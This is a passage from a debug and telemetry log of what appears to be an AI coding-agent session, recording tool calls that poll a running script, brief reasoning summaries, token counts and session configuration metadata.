0oeEy-qXVlt-xORE8mPQzolGlVTjETF8w_h-4fgxVV9MQHgXR-K5HhrM=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:48.791Z] [INFO] 2026-07-12T04:06:48.791052Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5312d8aef88191b26fe17356d3040f\"), status: Some(\"in_progress\"), call_id: \"call_6usBIjpN0OR1kCMKz4oWJZj1\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:48.791Z] [INFO] \n[2026-07-12T04:06:48.793Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_32\",\"type\":\"reasoning\",\"text\":\"**Considering Rust script compile duration**\"}}\n[2026-07-12T04:06:48.793Z] [INFO] \n[2026-07-12T04:06:49.582Z] [INFO] 2026-07-12T04:06:49.572077Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.write_stdin({session_id:26498,chars:\"\",yield_time_ms:30000,max_output_tokens:5000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:06:49.582Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:06:49.582Z] [INFO] \n[2026-07-12T04:06:49.654Z] [INFO] 2026-07-12T04:06:49.654196Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5312d6a35481918b6d5f2c34dab161\"\n[2026-07-12T04:06:49.654Z] [INFO] 2026-07-12T04:06:49.654259Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=61052 output_token_count=78 cached_token_count=60160 reasoning_token_count=17 tool_token_count=61130 ttft_ms=1515 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:49.654Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:49.654Z] [INFO] 2026-07-12T04:06:49.654280Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=61052 output_token_count=78 cached_token_count=60160 reasoning_token_count=17 tool_token_count=61130 ttft_ms=1515 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:49.654Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:49.654Z] [INFO] \n[2026-07-12T04:06:59.721Z] [INFO] 2026-07-12T04:06:59.718171Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_6usBIjpN0OR1kCMKz4oWJZj1 arguments=const r=await tools.write_stdin({session_id:26498,chars:\"\",yield_time_ms:30000,max_output_tokens:5000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:06:59.721Z] [INFO]  duration_ms=10144 success=true output=Script running with cell ID 12\n[2026-07-12T04:06:59.721Z] [INFO] Wall time 10.1 seconds\n[2026-07-12T04:06:59.721Z] [INFO] Output:\n[2026-07-12T04:06:59.721Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:59.718Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:59.721Z] [INFO] 2026-07-12T04:06:59.718309Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_6usBIjpN0OR1kCMKz4oWJZj1 duration_ms=10144 success=true arguments_length=174 output_length=62 output_line_count=3 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:59.718Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:59.721Z] [INFO] 2026-07-12T04:06:59.718693Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_6usBIjpN0OR1kCMKz4oWJZj1 tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=10145 total_duration_ms=10145\n[2026-07-12T04:06:59.721Z] [INFO] \n[2026-07-12T04:07:00.038Z] [INFO] 2026-07-12T04:07:00.037652Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:07:00.038Z] [INFO] \n[2026-07-12T04:07:00.048Z] [INFO] 2026-07-12T04:07:00.045478Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:00.045Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:00.048Z] [INFO] 2026-07-12T04:07:00.045539Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:00.045Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:00.048Z] [INFO] 2026-07-12T04:07:00.045628Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:07:00.048Z] [INFO] \n[2026-07-12T04:07:01.012Z] [INFO] 2026-07-12T04:07:01.007975Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312e4f89c8191bb77ded4be5a4290\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxLkXFXrL6Xmvv45z_tti_bWJUD0Miow1eKgGFY6vzlND9cNYAV9DvKlvQtP80Umhug-c6mKL1t6lT-If-0Vz5hlwGszappXQ0XAIQF_a5ZQYe83ilEXWI6dHf8D-eBm5b8pq5mcDVqC7ghYTAZxJ0CjXXG0H_FEaD4EPm2Xm7gpNa6I4xbzu5w0TKme1flo1P0JO6EDzgnAGFC3PO5EDQNkJbgFHVL01crRtC91O1u7XmTWdTsomLWfw28XE0MnmANK2AZz46B34A1QYFLtqry7oYMjkcIIZ-xVx41RRr2ORKpR-m-zN3MOPDc74lirlpQ3wJxTcfQUyvtmAKkcI7KbmgiIC_8cIOzx4tJ5ciH7kVN3bYz1thSZdRlaP7aBjwrAtuageplhZ4uByOs01oazEY9sRuhscGtTTP2oQyYUIEhCcunvMw6d7Gf5i8uLEr61rbonAND5ARiE4dlMe1wWGQ3UwLyjdLiao4acu5zK_vuU3ncj4klPQmEzcPhB76NUKLolqBIJMxgKHpJinXi__7598HD22sctS7CHKcciYK6TlzJmzo0oobI-QuShoFKaEwyjv25gOJr3pHDWbIQgipm-irW1kk_manzp3HHC576h3lsioyXxpcBsmHK9ueBfTXQAz6o_rC8sY-g-5UYUndWoqLF02PMuswnbmPn6tIzEJEWnngjbpkHxP409EOJZrNcB3PrOZQwuxvMmzZ8Sn6VqXfll9Tyl_BVePCl3x0v7Dh7-K64pzCHLnYntjYq1YbFl5d9lXBR6H_FjMgD3nIIBtXRKvpWcq-fZ731ZWpSso8BhtM0tDP-eXDNwhFu0ZuTS_Vb9OFkggcNf7KF96415gv89Ufq2jzIcjNK-Aq_tsZZYBW77oXeNkvGYJcr9nSB-5RBcNaFtkz_KDFImew==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:01.012Z] [INFO] \n[2026-07-12T04:07:01.567Z] [INFO] 2026-07-12T04:07:01.566753Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312e4f89c8191bb77ded4be5a4290\"), summary: [SummaryText { text: \"**Assessing async function execution**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxLl6v-ey-dNZrBijcXWYxMvSM8C6CpQoF6x1rSBp45WS87EyADkpQ7AWyDlcJ52_CtYDa-NGcDSYWYzc5p_YtKQ-z0H8rGEDTBQQ_kQoEoSzNk6ryb3wJfXhkCKaZMqmsF650Ow5GMUXM6ZB-RPKl7rdEaQC9i1KHSbTBkmc7av-3HWVAb5Q3NSLAWBNye1OgXnCbOD7duhTaELN4MUovW4G0dgLIyxA0Q2OdzFs_6ARguj8wkyzZmkVuJi80AGHH0UiRN3KLhSKIc069K0XntBR-WHbS3S27NDS9Te_tuHj-4Hhx2lczfziOEb7_TcSdyM1f7VoegcWEcPNe02VQjVIJKJkuXvR9b1_QhaoT2teDEMf1TyNRprTj_fAdwGnyxAvxJrq9fgtQrwDZ9VYJFDAfiHAMUYkQSlRKBqdcgEvwBM3TxZ6KwvZTCtPuRO8lbdBLHOSXuJto1Lmd51LMHG9JXKRHNFrntTI-qu1ESfHBl1dTvA6ynP7k2eMcmN3lB4LsOJu2_BB34detBVg0YJ0msOJVfd0-LyVUQo5tfYLU7EaDGe7klsjowuWQd0b4hozaaLu2t4y1gh9HFIcQHUc3RzY8kdPE0AsrOSXHCSESlIMvC-XxYT9UE7nugK09JKRQ31keLQGGGapAW1biq2Q0hIYzKiOxgYUAPw0gQq7XMg1esRokTw7jJqGQN0gJ29XIjSFoA6sOGpbdT4C2DHApaXX2MrWF_SkTU1ukkQoYhhp-zQjsJwMPqVaNz1cjrOjPZm67u6t5lYHRWuuWsaW-UID19_cnFVvHrjA71U-hi9iYc79maizUk8dw7vvdWJlAeRy6ZYWFn3GzvwqYCdFbAQMBNi1NEW038Jg6bdVMWop53Q4wLL7v7LifziimgqW6IJutR9t1QPcbxtc2iRBzWqAv6e4U769iEBJt-SVlzUycCa3NDOgTbVSstpRrf5lb3j5M8JmH60uI6nq6nHfh7qxd0rA5wNkub8beZMV10=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:01.567Z] [INFO] \n[2026-07-12T04:07:01.571Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_33\",\"type\":\"reasoning\",\"text\":\"**Assessing async function execution**\"}}\n[2026-07-12T04:07:01.571Z] [INFO] \n[2026-07-12T04:07:01.572Z] [INFO] 2026-07-12T04:07:01.571443Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=FunctionCall { id: Some(\"fc_0e255b39bbad6b0b016a5312e58a9c8191b4a895b6bdf47d1c\"), name: \"wait\", namespace: None, arguments: \"\", call_id: \"call_iCkzqXeBlwVPCRW2Lqq0hHHa\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:01.572Z] [INFO] \n[2026-07-12T04:07:01.908Z] [INFO] 2026-07-12T04:07:01.906815Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: wait {\"cell_id\":\"12\",\"yield_time_ms\":30000,\"max_tokens\":5000} thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:07:01.908Z] [INFO] \n[2026-07-12T04:07:01.916Z] [INFO] 2026-07-12T04:07:01.915096Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5312e41c1481919b8b047065898517\"\n[2026-07-12T04:07:01.916Z] [INFO] 2026-07-12T04:07:01.915187Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=61158 output_token_count=46 cached_token_count=60160 reasoning_token_count=13 tool_token_count=61204 ttft_ms=963 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:01.915Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:01.916Z] [INFO] 2026-07-12T04:07:01.915216Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=61158 output_token_count=46 cached_token_count=60160 reasoning_token_count=13 tool_token_count=61204 ttft_ms=963 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:01.915Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:01.916Z] [INFO] \n[2026-07-12T04:07:10.981Z] [INFO] 2026-07-12T04:07:10.979594Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-af07febf-f4de-4f6b-bcf3-699bd318076c arguments={\"session_id\":26498,\"chars\":\"\",\"yield_time_ms\":30000,\"max_output_tokens\":5000} duration_ms=21242 success=true output=Chunk ID: 22488b\n[2026-07-12T04:07:10.981Z] [INFO] Wall time: 21.2401 seconds\n[2026-07-12T04:07:10.981Z] [INFO] Process exited with code 127\n[2026-07-12T04:07:10.981Z] [INFO] Original token count: 0\n[2026-07-12T04:07:10.981Z] [INFO] Output:\n[2026-07-12T04:07:10.981Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:10.979Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:10.981Z] [INFO] 2026-07-12T04:07:10.979917Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-af07febf-f4de-4f6b-bcf3-699bd318076c duration_ms=21242 success=true arguments_length=78 output_length=105 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:10.979Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:10.981Z] [INFO] \n[2026-07-12T04:07:11.013Z] [INFO] 2026-07-12T04:07:11.011941Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=wait call_id=call_iCkzqXeBlwVPCRW2Lqq0hHHa arguments={\"cell_id\":\"12\",\"yield_time_ms\":30000,\"max_tokens\":5000} duration_ms=9101 success=true output=Script completed\n[2026-07-12T04:07:11.013Z] [INFO] Wall time 9.1 seconds\n[2026-07-12T04:07:11.013Z] [INFO] Output:\n[2026-07-12T04:07:11.013Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:11.011Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:11.013Z] [INFO] 2026-07-12T04:07:11.011992Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=wait call_id=call_iCkzqXeBlwVPCRW2Lqq0hHHa duration_ms=9101 success=true arguments_length=56 output_length=47 output_line_count=3 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:11.011Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:11.013Z] [INFO] 2026-07-12T04:07:11.012277Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=wait call_id=call_iCkzqXeBlwVPCRW2Lqq0hHHa tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=9102 total_duration_ms=9102\n[2026-07-12T04:07:11.013Z] [INFO] \n[2026-07-12T04:07:11.065Z] [INFO] 2026-07-12T04:07:11.065181Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:07:11.065Z] [INFO] \n[2026-07-12T04:07:11.074Z] [INFO] 2026-07-12T04:07:11.073272Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:11.073Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:11.074Z] [INFO] 2026-07-12T04:07:11.073713Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:11.073Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:11.074Z] [INFO] \n[2026-07-12T04:07:11.082Z] [INFO] 2026-07-12T04:07:11.076611Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" 